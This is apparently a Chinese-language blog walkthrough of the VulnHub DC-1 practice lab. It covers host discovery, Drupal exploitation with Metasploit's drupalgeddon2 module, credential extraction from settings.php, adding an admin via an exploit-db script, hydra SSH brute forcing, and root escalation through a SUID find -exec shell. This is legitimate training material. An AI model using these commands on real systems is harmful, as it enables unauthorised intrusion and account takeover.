首页 > 其他分享 >DC-1-Drupal-find提权

DC-1-Drupal-find提权

时间:2024-05-04 22:15:33浏览次数:23  
标签:etc Drupal DC find 提权 权限 admin

靶机下载地址:https://www.vulnhub.com/entry/dc-1%2C292/
靶机描述:DC-1 是一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。共有五个flag,但最终目标是拿到root目录中的flag。

一、信息收集

1.探测目标

方法一:使用arp-scan工具

探测同一区域中存活主机

arp-scan -l

-l 使用网络接口

image.png

方法二:使用netdiscover工具

探测存活主机

netdiscover -i eth0

-i device 用于嗅探和注入数据包的网络接口

image.png

方法三:使用nmap工具

ifconfig #查看kali的ip【192.168.75.150】

nmap 192.168.75.0/24

2.查看目标开放端口

nmap -sV -p- 192.168.75.152

-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口

image.png
目标靶机开放了80端口,在浏览器打开该站点

3.查看网页相关信息

使用浏览器插件Wappalyzer,这个插件可以检测网站的CMS,框架,服务器等信息,可以看到该网站使用CMS为Drupal,其实在网页界面和底部都能发现是Drupal
image.png

二、漏洞查找与利用

1.漏洞查找

使用Metasploit搜索Drupal

msfdb init && msfconsole

search Drupal

image.png
image.png

2.漏洞利用

优先选择上面查到模块的Rank为excellent并且时间较新的模块

use exploit/unix/webapp/drupal_drupalgeddon2 
show options
set RHOSTS 192.168.0.119
exploit 或者 run
#当出现"Meterpreter session 1 opened"说明利用成功

image.png
image.png
MSF之命令笔记篇

三、Getshell

1.获取普通shell

meterpreter >shell
ls

image.png
发现有个flag1.txt,打开看一哈
image.png
翻译:每一个好的CMS都需要一个配置文件,你也一样。
百度查到Drupal的默认配置文件为 /var/www/sites/default/settings.php
drupal7的目录结构及术语

cat /var/www/sites/default/settings.php

image.png
配置文件中看到了flag2
翻译:蛮力和字典攻击不行,唯一方法是获得访问权限(你将需要访问的)。你能用这些凭证做什么?
同时,还有获得了数据库账号和密码

'username' => 'dbuser',
'password' => 'R0ck3t',

2.获取交互式shell

使用python反弹一个交互式shell,然后我们登陆数据库

python -c 'import pty; pty.spawn("/bin/bash")'

mysql -udbuser -p
Enter password:R0ck3t

image.png
查看数据库,在drupaldb库users表中发现admin用户

mysql> show databases; #[drupaldb]
mysql> use drupaldb;
mysql> show tables; #[users]
mysql> select * from users;

image.png
image.png
可以看到admin用户的密码被加密了的,但是我们可以想办法修改密码或新增一个admin权限的用户

方法一:修改admin用户的密码

使用Drupal对数据库的加密方法,生成一个新密码,然后把新的密码更新到admin用户
加密脚本位置在/var/www/scripts/password-hash.sh下
参考:忘记Drupal的管理员密码的解决办法

$ php scripts/password-hash.sh wi11  #生成新密码wi11
# hash: $S$D/SgaxfDupdry05u3BqKvT9PKjVc4jEI6jRES/seprnt72dH/1km

mysql> update drupaldb.users set pass="$S$D/SgaxfDupdry05u3BqKvT9PKjVc4jEI6jRES/seprnt72dH/1km" where name="admin";

image.png
image.png
然后进行登录
image.png

方法二:新增一个admin权限的用户

在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号
查看Drupal版本,确定Drupal版本为7.24

cat /var/www/includes/bootstrap.inc | grep VERSION

image.png

msf > searchsploit drupal

image.png

攻击脚本适用于7.31以下,所以适合7.24版本,可以利用漏洞增加admin权限用户

增加有admin权限的用户:admin1/admin1

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.75.152 -u admin1 -p admin1

image.png
image.png
输入用户名/密码【admin/wi11或者admin1/admin1】,尝试登陆
image.png
成功登陆
image.png
在后台左上角的Find content中发现flag3
image.png
flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow,还提到了find、perms、-exec,这几个是提权用的
我们来查看哈/etc/passwd和/etc/shadow 的内容

/etc/passwd 是一个纯文本文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等
/etc/passwd详情
etc/shadow是/etc/passwd的影子文件,存有密码信息

cat /etc/passwd
或者
tail -3 /etc/passwd  #为了方便截图,只显示文件的最后三行

cat /etc/shadow #权限不够查看失败

image.png
发现有个叫flag4的账号,但是查看使用/etc/shadow失败,但是前面nmap扫描的时候发现了 ssh 服务,现在又发现了 flag4 用户,所以尝试使用hydra进行密码的暴力猜解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.75.152 ssh
或者
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.75.152

-l  指定破解的用户
-P  指定密码字典
ssh://ip 指定使用协议和ip地址

image.png
暴力密码在线破解工具Hydra详解
使用得到的用户名密码【 flag4/orange】,登录靶机

ssh [email protected]

image.png

ls
cat flag4.txt

image.png
flag4提示flag在root目录下,在/root下发现thefinalflag.txt,但是没有读取的权限
image.png

四、提升权限

根据flag3和flag4都提到了find,所以下面我们利用find文件提权
参考:Linux下用SUID提权、linux提权-SUID提权、find命令之exec

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了

#查找具有root权限的SUID的文件
find / -perm -u=s -type f 2>/dev/null

image.png
可以看到find命令具有SUID权限,如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行

touch wi11
#查找根目录下名为wi11的文件并执行shell
find / -name wi11 -exec "/bin/sh" \;

#-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以在分号前面加反斜杠。

可以看到已经成功提权拿到root shell,接下来就来查看最终的flag吧

cd /root
ls
cat thefinalflag.txt

image.png
到这里我们就成功获取到了5个flag,并成功走完了整个渗透流程

标签:etc,Drupal,DC,find,提权,权限,admin
From: https://www.cnblogs.com/NoCirc1e/p/18172782

相关文章

  • DC-3-Joomla-Ubuntu提权
    靶机DC-3下载地址:https://www.vulnhub.com/entry/dc-32,312/翻译一下官方给出的一些信息:这个靶场与之前的不同,只有一个入口点和一个flag,并且没有任何线索。靶场只需要简单的下载,解压,打开并将其导入到VMware即可(我将其网络配置为NAT模式,保证机器与Kali在同一个网段下)一、信息收......
  • DC-2-WordPress-git提权
    靶机概览详情介绍请参考下载地址任务目标:拿下5个flag下载地址:https://www.vulnhub.com/entry/dc-2,311/信息收集nmap信息收集1:使用nmap确定靶机地址是192.168.75.1552:继续使用nmap对靶机做进一步探测,发现靶机开启了80和7744(SSH)端口,先从80端口打开局面3:访问网站,发现URL......
  • DC-4-teehee提权
    主机信息实验过程详情介绍请参考下载地址任务目标:拿下系统的root账户靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/主机信息DC4:192.168.75.151Kali:192.168.75.150实验过程先发现内网存活主机arp-scan--interfaceeth0192.168.75.1/24然后查看靶机开放的......
  • DC-5-screen提权
    Vulnhub简介Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。靶场部署vulnhub官网:https://www.vulnhub.com/......
  • DC-7-Drupal-脚本文件提权
    Vulnhub靶机介绍Vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行练习,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。靶机DC7还是只有拿到root权限才可以发现最终的flag。01环境搭建靶机环境下载:https://www.vulnhub.com......
  • DC-6-WordPress-nmap提权
    Vulnhub简介Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。靶场部署这个挑战的最终目标是获得root权限并......
  • DC-9-sudo提权
    标签:SQL注入、本地文件包含LFI、端口敲门、hydra爆破、linux提权0x00环境准备下载地址:https://www.vulnhub.com/entry/dc-9,412/靶机描述:DC-9isanotherpurposelybuiltvulnerablelabwiththeintentofgainingexperienceintheworldofpenetrationtesting.The......
  • DC-8-Drupal-exim4提权
    Vulnhub简介Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。靶场部署Vulnhub官网:https://www.vulnhub.com......
  • WPF datagrid datagridtemplatecolumn DataGridTemplateColumn.CellEditingTemplate D
    //xaml<Windowx:Class="WpfApp89.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.mic......
  • WPF Datagrid DataGridComboBoxColumn ObjectDataProvider ObjectDataProvider.Method
    //xaml<Windowx:Class="WpfApp90.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.mic......